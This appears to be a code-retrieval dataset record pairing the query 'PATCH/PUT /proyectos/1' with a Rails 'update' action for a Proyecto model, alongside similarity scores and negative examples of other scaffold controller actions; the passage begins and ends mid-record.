:unprocessable_entity }\n end\n end\n end", "def create\n @persona_proyecto = PersonaProyecto.new(persona_proyecto_params)\n\n respond_to do |format|\n if @persona_proyecto.save\n format.html { redirect_to @persona_proyecto, notice: 'Persona proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @persona_proyecto }\n else\n format.html { render :new }\n format.json { render json: @persona_proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @politico = Politico.new(politico_params)\n @politico.creador = current_user.id\n @politico.modificador = current_user.id\n\n respond_to do |format|\n if @politico.save\n format.html { redirect_to @politico, notice: 'Politico was successfully created.' }\n format.json { render :show, status: :created, location: @politico }\n else\n format.html { render :new }\n format.json { render json: @politico.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tecnico = Tecnico.new(params[:tecnico])\n\n respond_to do |format|\n if @tecnico.save\n format.html { redirect_to @tecnico, notice: 'Tecnico criado com sucesso.' }\n format.json { render json: @tecnico, status: :created, location: @tecnico }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tecnico.errors, status: :unprocessable_entity }\n end\n end\n end", "def proyecto_params\n params.require(:proyecto).permit(:codigo, :nombre, :descripcion, :calle, :nroDomicilio, :piso, :dpto, :telefono, :email, :pagWeb, {:persona_ids => []}, :etapa_id, :pais_id, :provincia_id, :ciudad_id, :area_id)\n #{:persona_ids => []}\n end", "def peso_params\n params.require(:peso).permit(:fecha, :peso, :usuario_id)\n end", "def create\n @mk_puntuacio = MkPuntuacio.new(mk_puntuacio_params)\n\n respond_to do |format|\n if @mk_puntuacio.save\n format.html { redirect_to @mk_puntuacio, notice: 'Mk puntuacio was successfully created.' }\n format.json { render :show, status: :created, location: @mk_puntuacio }\n else\n format.html { render :new }\n format.json { render json: @mk_puntuacio.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @orden_proyecto = OrdenProyecto.new(orden_proyecto_params)\n\n respond_to do |format|\n if @orden_proyecto.save\n format.html { redirect_to @orden_proyecto, notice: 'Orden proyecto was successfully created.' }\n format.json { render :show, status: :created, location: @orden_proyecto }\n else\n format.html { render :new }\n format.json { render json: @orden_proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def probando_params\n params.require(:probando).permit(:user_id, :post_id, :parragraph, :number)\n end", "def suceso_perro_params\n params.require(:suceso_perro).permit(:suceso, :involucrado, :fecha, :perro_id, :socio_id, :propietario_id)\n end", "def create\n @projeto = Projeto.new(params[:projeto])\n @projeto.usuario = current_usuario\n\n respond_to do |format|\n if @projeto.save\n format.html { redirect_to @projeto, notice: 'Projeto was successfully created.' }\n format.json { render json: @projeto, status: :created, location: @projeto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @projeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @usuario_projeto = UsuarioProjeto.new(usuario_projeto_params)\n\n respond_to do |format|\n if @usuario_projeto.save\n format.html { redirect_to @usuario_projeto, notice: 'Usuario projeto was successfully created.' }\n format.json { render :show, status: :created, location: @usuario_projeto }\n else\n format.html { render :new }\n format.json { render json: @usuario_projeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def procon_params\n params.require(:procon).permit(:name, :notes, :proarray, :conarray, :user_id)\n end", "def create\n @caixa = Produto.new(produto_params)\n @caixa.user = current_user\n\n respond_to do |format|\n if @caixa.save\n format.html { redirect_to @caixa, notice: 'Caixa was successfully created.' }\n format.json { render :show, status: :created, location: @caixa }\n else\n format.html { render :new }\n format.json { render json: @caixa.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pozi = Pozi.new(pozi_params)\n\n respond_to do |format|\n if @pozi.save\n format.html { redirect_to pozis_path, notice: 'Pozi was successfully created.' }\n format.json { render :show, status: :created, location: @pozi }\n else\n format.html { render :new }\n format.json { render json: @pozi.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @prospecto_telefono = ProspectoTelefono.new(prospecto_telefono_params)\n\n respond_to do |format|\n if @prospecto_telefono.save\n format.html { redirect_to @prospecto_telefono, notice: 'Prospecto telefono was successfully created.' }\n format.json { render :show, status: :created, location: @prospecto_telefono }\n else\n format.html { render :new }\n format.json { render json: @prospecto_telefono.errors, status: :unprocessable_entity }\n end\n end\n end", "def puesto_params\n params.require(:puesto).permit(:direccion, :turno, :hora_entrada, :hora_salida, :cliente_id, :guardia_id, :estado, :fechaInicio, :fechaFin, :producto_id, :cantidad, productos_attributes:[:nomProducto, :caracteristica, :categoria_id, :identificador, :cantidad, :puesto_id])\n end", "def create\n id = current_user.uid\n @percorso = Percorso.find(params[:percorso])\n @partecipanti = Partecipanti.new(percorso: @percorso.id, utente: id)\n\n respond_to do |format|\n if @partecipanti.save\n conn = Bunny.new\n conn.start\n ch = conn.create_channel\n x = ch.topic(\"#{@percorso.id}\")\n queue = ch.queue(\"#{@percorso.id}#{id}\")\n queue.bind(x, :routing_key => \"all\")\n queue.bind(x, :routing_key => \"#{id}\")\n ch.close\n conn.close\n format.html { redirect_to percorso_path(percorso), notice: 'Adesso fai parte di questo percorso!.' }\n format.js {}\n format.json { render :show, status: :created, location: @partecipanti }\n else\n format.html { render :new }\n format.json { render json: @partecipanti.errors, status: :unprocessable_entity }\n end\n end\n end", "def produccion_params\n params.require(:produccion).permit(:estado, :fecha_produccion, :fecha_vencimiento, :product_id, :cantidad)\n end", "def create\n @form_primario = FormPrimario.new(form_primario_params)\n\t\n\t@clientes.each do |clientesTamp|\n\t\t@campos_extra = CamposExtra.new\n\t\t@campos_extra.emailCliente = clientesTamp.email;\n\t\t@campos_extra.nomeCampo = @form_primario.nomeCampo;\n\t\t@campos_extra.tipoCampo = @form_primario.tipoCampo;\n\t\t@campos_extra.itensCombox = @form_primario.itensCombo;\n\t\t@campos_extra.save\n\tend\n\t\n respond_to do |format|\n\t\t@form_primario.emailUsuario = current_usuario.email;\n\t\t if @form_primario.save\n\t\t\tformat.html { redirect_to @form_primario, notice: 'Form primario was successfully created.' }\n\t\t\tformat.json { render :show, status: :created, location: @form_primario }\n\t\t else\n\t\t\tformat.html { render :new }\n\t\t\tformat.json { render json: @form_primario.errors, status: :unprocessable_entity }\n\t\t end\n end\n\t\n end", "def create\n @parte_cuerpo = ParteCuerpo.new(parte_cuerpo_params)\n\n respond_to do |format|\n if @parte_cuerpo.save\n format.html { redirect_to @parte_cuerpo, notice: 'Parte cuerpo was successfully created.' }\n format.json { render :show, status: :created, location: @parte_cuerpo }\n else\n format.html { render :new }\n format.json { render json: @parte_cuerpo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pimo = Pimo.new(pimo_params)\n\n respond_to do |format|\n if @pimo.save\n format.html { redirect_to @pimo, notice: 'Pimo was successfully created.' }\n format.json { render :show, status: :created, location: @pimo }\n else\n format.html { render :new }\n format.json { render json: @pimo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @pocetna = Pocetna.new(pocetna_params)\n\n respond_to do |format|\n if @pocetna.save\n format.html { redirect_to @pocetna, notice: \"Pocetna was successfully created.\" }\n format.json { render :show, status: :created, location: @pocetna }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @pocetna.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @concurso = Concurso.new(params[:concurso])\n\n respond_to do |format|\n if @concurso.save\n format.html { redirect_to @concurso, notice: 'Concurso criado com sucesso.' }\n format.json { render json: @concurso, status: :created, location: @concurso }\n else\n format.html { render action: \"new\" }\n format.json { render json: @concurso.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @profesore = Profesore.new(params[:profesore])\n\n respond_to do |format|\n if @profesore.save\n format.html { redirect_to @profesore, notice: 'Profesore was successfully created.' }\n format.json { render json: @profesore, status: :created, location: @profesore }\n else\n format.html { render action: \"new\" }\n format.json { render json: @profesore.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @propose = Propose.new(params[:propose])\n\n respond_to do |format|\n if @propose.save\n format.html { redirect_to @propose, notice: 'Propuesta creada' }\n format.json { render json: @propose, status: :created, location: @propose }\n else\n format.html { render action: \"new\" }\n format.json { render json: @propose.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6884024", "0.68251574", "0.6814909", "0.6603385", "0.65885675", "0.6287788", "0.6280281", "0.6145302", "0.61393917", "0.61212", "0.6104165", "0.61018187", "0.6072222", "0.6068606", "0.60508865", "0.6050834", "0.60378486", "0.60348105", "0.60281897", "0.6010875", "0.6010875", "0.6010875", "0.6010875", "0.6007768", "0.59980243", "0.59955907", "0.5991331", "0.5983652", "0.59794044", "0.59774935", "0.5954447", "0.595375", "0.5947861", "0.5947043", "0.59331995", "0.59281176", "0.59281176", "0.59281176", "0.5927846", "0.58897114", "0.5885131", "0.58769447", "0.5876176", "0.58750725", "0.5874924", "0.5860074", "0.5856054", "0.5846661", "0.5844584", "0.58420444", "0.58378464", "0.5836996", "0.58329356", "0.582527", "0.5823117", "0.58209187", "0.5819421", "0.5818833", "0.581541", "0.58108217", "0.5810641", "0.580983", "0.5800237", "0.57938415", "0.5792754", "0.57867056", "0.57805544", "0.57805496", "0.5779502", "0.57794863", "0.5777312", "0.5769627", "0.5769524", "0.57612526", "0.5753813", "0.57532793", "0.5753003", "0.5752371", "0.57505244", "0.5749293", "0.5745392", "0.5743801", "0.57423294", "0.574022", "0.57391727", "0.5734747", "0.5723", "0.572057", "0.5718816", "0.57163787", "0.571577", "0.57117766", "0.57103795", "0.5704756", "0.57038033", "0.5700188", "0.5699994", "0.569957", "0.5699201", "0.5697125" ]
0.5914459
39
PATCH/PUT /proyectos/1 PATCH/PUT /proyectos/1.json
def update respond_to do |format| if @proyecto.update(proyecto_params) format.html { redirect_to current_user, notice: 'Proyecto was successfully updated.' } format.json { render :show, status: :ok, location: @proyecto } flash[:success] = "Proyecto actualizado" # @modificacion = Modificacion.new(:proyecto_id => @proyecto.id, usuario_id => params[:id] ) else format.html { render :edit } format.json { render json: @proyecto.errors, status: :unprocessable_entity } flash[:danger] = "Error al actualizar el proyecto" end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @proyect = Proyect.find(params[:id])\n\n respond_to do |format|\n if @proyect.update_attributes(params[:proyect])\n format.html { redirect_to @proyect, notice: 'Proyect was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proyect.update(proyect_params)\n format.html { redirect_to @proyect, notice: 'Proyect was successfully updated.' }\n format.json { render :show, status: :ok, location: @proyect }\n else\n format.html { render :edit }\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proyect.update(proyect_params)\n format.html { redirect_to @proyect, notice: \"Proyect was successfully updated.\" }\n format.json { render :show, status: :ok, location: @proyect }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @proyect.update(proyect_params)\r\n format.html { redirect_to @proyect, notice: 'Proyect was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @proyect }\r\n else\r\n puts @proyect.errors.full_messages\r\n format.html { render :edit }\r\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @proyect = Proyect.find(params[:id])\n\n respond_to do |format|\n if @proyect.update_attributes(params[:proyect])\n flash[:notice] = 'Proyect was successfully updated.'\n format.html { redirect_to(@proyect) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @proyect.errors, :status => :unprocessable_entity }\n end\n end\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n @propose = Propose.find(params[:id])\n\n respond_to do |format|\n if @propose.update_attributes(params[:propose])\n format.html { redirect_to @propose, notice: 'Propuesta actualizada' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @propose.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n if @pessoa.update_attributes(params[:pessoa])\n format.html { redirect_to pessoas_path, notice: 'Pessoa atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proyectominero2.update(proyectominero2_params)\n format.html { redirect_to @proyectominero2, notice: 'Proyectominero2 was successfully updated.' }\n format.json { render :show, status: :ok, location: @proyectominero2 }\n else\n format.html { render :edit }\n format.json { render json: @proyectominero2.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch!\n request! :patch\n end", "def update\n respond_to do |format|\n if @proyectos_user.update(proyectos_user_params)\n format.html { redirect_to @proyectos_user, notice: 'Proyectos user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @proyectos_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @produccion = Produccion.find(params[:id])\n\n respond_to do |format|\n if @produccion.update_attributes(params[:produccion])\n format.html { redirect_to @produccion, notice: 'Se ha modificado satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @produccion.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to @premio, :notice => 'Premio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @premio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @produccion = Produccion.find(params[:id])\n\n respond_to do |format|\n if @produccion.update_attributes(params[:produccion])\n format.html { redirect_to @produccion, notice: 'Produccion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @produccion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prospie.update(prospie_params)\n format.html { redirect_to @prospie, notice: 'Prospie was successfully updated.' }\n format.json { render :show, status: :ok, location: @prospie }\n else\n format.html { render :edit }\n format.json { render json: @prospie.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n if @premio.update_attributes(params[:premio])\n format.html { redirect_to @premio, notice: 'Premio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @premio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proyecto.update(proyecto_params)\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @proyecto }\n else\n format.html { render :edit }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proyecto.update(proyecto_params)\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @proyecto }\n else\n format.html { render :edit }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proyecto.update(proyecto_params)\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @proyecto }\n else\n format.html { render :edit }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proyecto.update(proyecto_params)\n format.html { redirect_to @proyecto, notice: 'Proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @proyecto }\n else\n format.html { render :edit }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plato = Plato.find(params[:id])\n\n if @plato.update(plato_params)\n head :no_content\n else\n render json: @plato.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @proyecto.update(proyecto_params)\n format.html { redirect_to @proyecto, notice: \"Proyecto was successfully updated.\" }\n format.json { render :show, status: :ok, location: @proyecto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proprietario.update(proprietario_params)\n format.html { redirect_to edit_imovel_path(@proprietario.imovel_id), notice: 'Proprietario was successfully updated.' }\n format.json { render :show, status: :ok, location: @proprietario }\n else\n format.html { render :edit }\n format.json { render json: @proprietario.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proyect.update(proyect_params)\n format.html { redirect_to [@zone,@proyect], notice: 'El proyecto fue actualizado exitosamente' }\n format.json { render :show, status: :ok, location: @proyect }\n else\n format.html { render :edit }\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @copropietario.update(copropietario_params)\n format.html { redirect_to @copropietario, notice: 'Copropietario was successfully updated.' }\n format.json { render :show, status: :ok, location: @copropietario }\n else\n format.html { render :edit }\n format.json { render json: @copropietario.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @protocolo.update(protocolo_params)\n addlog(\"Protocolo alterado\")\n format.html { redirect_to @protocolo, notice: 'Protocolo foi atualizado.' }\n format.json { render :show, status: :ok, location: @protocolo }\n else\n format.html { render :edit }\n format.json { render json: @protocolo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @proposta.update(propostum_params)\n format.html { redirect_to @proposta, notice: 'Propostum was successfully updated.' }\n format.json { render :show, status: :ok, location: @proposta }\n else\n format.html { render :edit }\n format.json { render json: @proposta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @profesor = Profesor.find(params[:id])\n\n if @profesor.update(profesor_params)\n head :no_content\n else\n render json: @profesor.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @parola.update(parola_params)\n format.html { redirect_to parolas_url, notice: 'Parola was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @parola.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prueba_json.update(prueba_json_params)\n format.html { redirect_to @prueba_json, notice: 'Prueba json was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @prueba_json.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def patch(path, params = {})\n request(:patch, path, params)\n end", "def update\n respond_to do |format|\n if @poligono.update(poligono_params)\n format.html { redirect_to @poligono, notice: 'Poligono was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @poligono.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if not ( paziente_signed_in? or administrator_signed_in?)\n redirect_to root_path and return\n end\n respond_to do |format|\n if @profilopazienti.update(profilopazienti_params)\n format.html { redirect_to @profilopazienti, notice: \"Profilopazienti was successfully updated.\" }\n format.json { render :show, status: :ok, location: @profilopazienti }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @profilopazienti.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @persona_proyecto.update(persona_proyecto_params)\n format.html { redirect_to @persona_proyecto, notice: 'Persona proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @persona_proyecto }\n else\n format.html { render :edit }\n format.json { render json: @persona_proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @pessoa.update(pessoa_params)\n format.html { redirect_to @pessoa, notice: 'Cadastro alterado com sucesso!.' }\n format.json { render :show, status: :ok, location: @pessoa }\n else\n format.html { render :edit }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @profissional.update(profissional_params)\n format.html { redirect_to @profissional, notice: 'Profissional was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @profissional.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @produto.update(produto_params)\n respond_with @produto\n end", "def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prodottos_operazione.update(prodottos_operazione_params)\n format.html { redirect_to @prodottos_operazione, notice: 'Prodottos operazione was successfully updated.' }\n format.json { render :show, status: :ok, location: @prodottos_operazione }\n else\n format.html { render :edit }\n format.json { render json: @prodottos_operazione.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n if @puntaje.update_attributes(params[:puntaje])\n format.html { redirect_to @puntaje, notice: 'Puntaje was successfully updated.' }\n format.json { head :no_content }\n else\n atributos\n format.html { render action: \"edit\" }\n format.json { render json: @puntaje.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @proceso = Proceso.find(params[:id])\n\n respond_to do |format|\n if @proceso.update_attributes(params[:proceso])\n format.html { redirect_to(@proceso, :notice => 'Proceso was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @proceso.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tuhu_prodoct.update(tuhu_prodoct_params)\n format.html { redirect_to @tuhu_prodoct, notice: 'Prodoct was successfully updated.' }\n format.json { render :show, status: :ok, location: @tuhu_prodoct }\n else\n format.html { render :edit }\n format.json { render json: @tuhu_prodoct.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n if @peso.update_attributes(params[:peso])\n format.html { redirect_to @peso, notice: 'Peso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @peso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @veiculo = Veiculo.find(params[:id])\n\n respond_to do |format|\n if @veiculo.update_attributes(params[:veiculo])\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @perfilnegocio = Perfilnegocio.find(params[:id])\n\n respond_to do |format|\n if @perfilnegocio.update_attributes(params[:perfilnegocio])\n format.html { redirect_to @perfilnegocio, notice: 'Perfilnegocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @perfilnegocio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @poto.update(poto_params)\n format.html { redirect_to @poto, notice: 'Poto was successfully updated.' }\n format.json { render :show, status: :ok, location: @poto }\n else\n format.html { render :edit }\n format.json { render json: @poto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @pv = Pv.new(pv_params)\n @pv.proyect = @proyect\n\n respond_to do |format|\n if @pv.update(pv_params)\n format.html { redirect_to proyect_pv_path(@proyect,@pv), notice: 'Propuesta de Valor ha sido actualizada.' }\n format.json { render :show, status: :ok, location: @pv }\n else\n format.html { render :edit }\n format.json { render json: @pv.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @propuesta.update(propuesta_params)\n format.html { redirect_to @propuesta, notice: 'Propuesta was successfully updated.' }\n format.json { render :show, status: :ok, location: @propuesta }\n else\n format.html { render :edit }\n format.json { render json: @propuesta.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @propperty.update(propperty_params)\n format.html { redirect_to @propperty, notice: 'Propperty was successfully updated.' }\n format.json { render :show, status: :ok, location: @propperty }\n else\n format.html { render :edit }\n format.json { render json: @propperty.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prospecto.update(prospecto_params)\n format.html { redirect_to @prospecto, notice: 'Prospecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @prospecto }\n else\n format.html { render :edit }\n format.json { render json: @prospecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @projeto = Projeto.find(params[:id])\n\n respond_to do |format|\n if @projeto.update_attributes(params[:projeto])\n format.html { redirect_to @projeto, notice: 'Projeto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @projeto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @platoon.update(platoon_params)\n format.html { redirect_to @platoon, notice: 'Platoon was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @platoon.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @probando.update(probando_params)\n format.html { redirect_to @probando, notice: 'Probando was successfully updated.' }\n format.json { render :show, status: :ok, location: @probando }\n else\n format.html { render :edit }\n format.json { render json: @probando.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n if @producto.update_attributes(params[:producto])\n format.html { redirect_to @producto, notice: 'Producto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @mixproducto = Mixproducto.find(params[:id])\n\n respond_to do |format|\n if @mixproducto.update_attributes(params[:mixproducto])\n format.html { redirect_to @mixproducto, notice: 'Mixproducto was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mixproducto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @productonegocio = Productonegocio.find(params[:id])\n\n respond_to do |format|\n if @productonegocio.update_attributes(params[:productonegocio])\n format.html { redirect_to @productonegocio, notice: 'Productonegocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @productonegocio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @profilsekolah.update(profilsekolah_params)\n format.html { redirect_to @profilsekolah, notice: 'Profilsekolah was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @profilsekolah.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end", "def update # PATCH\n raise NotImplementedError\n end", "def update\n respond_to do |format|\n if @provincium.update(provincium_params)\n format.html { redirect_to @provincium, notice: 'Provincium was successfully updated.' }\n format.json { render :show, status: :ok, location: @provincium }\n else\n format.html { render :edit }\n format.json { render json: @provincium.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @precioproducto = Precioproducto.find(params[:id])\n\n respond_to do |format|\n if @precioproducto.update_attributes(params[:precioproducto])\n format.html { redirect_to @precioproducto, notice: 'Precioproducto was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @precioproducto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @apoio.update(apoio_params)\n format.html { redirect_to @apoio, notice: 'Apoio was successfully updated.' }\n format.json { render :show, status: :ok, location: @apoio }\n else\n format.html { render :edit }\n format.json { render json: @apoio.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prod_coti.update(prod_coti_params)\n format.html { redirect_to @prod_coti, notice: 'Prod coti was successfully updated.' }\n format.json { render :show, status: :ok, location: @prod_coti }\n else\n format.html { render :edit }\n format.json { render json: @prod_coti.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @opcao.update(opcao_params)\n format.html { redirect_to @opcao, notice: 'Opcao atualizada com sucesso!' }\n format.json { render :show, status: :ok, location: @opcao }\n else\n format.html { render :edit }\n format.json { render json: @opcao.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @voprosy = Voprosy.find(params[:id])\n\n respond_to do |format|\n if @voprosy.update_attributes(params[:voprosy])\n format.html { redirect_to @voprosy, notice: 'Voprosy was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @voprosy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @prova_livro.update(prova_livro_params)\n format.html { redirect_to @prova_livro, notice: 'Prova livro was successfully updated.' }\n format.json { render :show, status: :ok, location: @prova_livro }\n else\n format.html { render :edit }\n format.json { render json: @prova_livro.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_proyecto.update(user_proyecto_params)\n format.html { redirect_to @user_proyecto, notice: 'User proyecto was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_proyecto }\n else\n format.html { render :edit }\n format.json { render json: @user_proyecto.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tiposveiculo.update(tiposveiculo_params)\n format.html { redirect_to tiposveiculos_url, notice: 'Tipo de Veículo editado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @tiposveiculo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if current_user\n\tif ((current_user.username == 'Administrator') || (current_user.username =='Moderator'))\n \t\t@produkt = 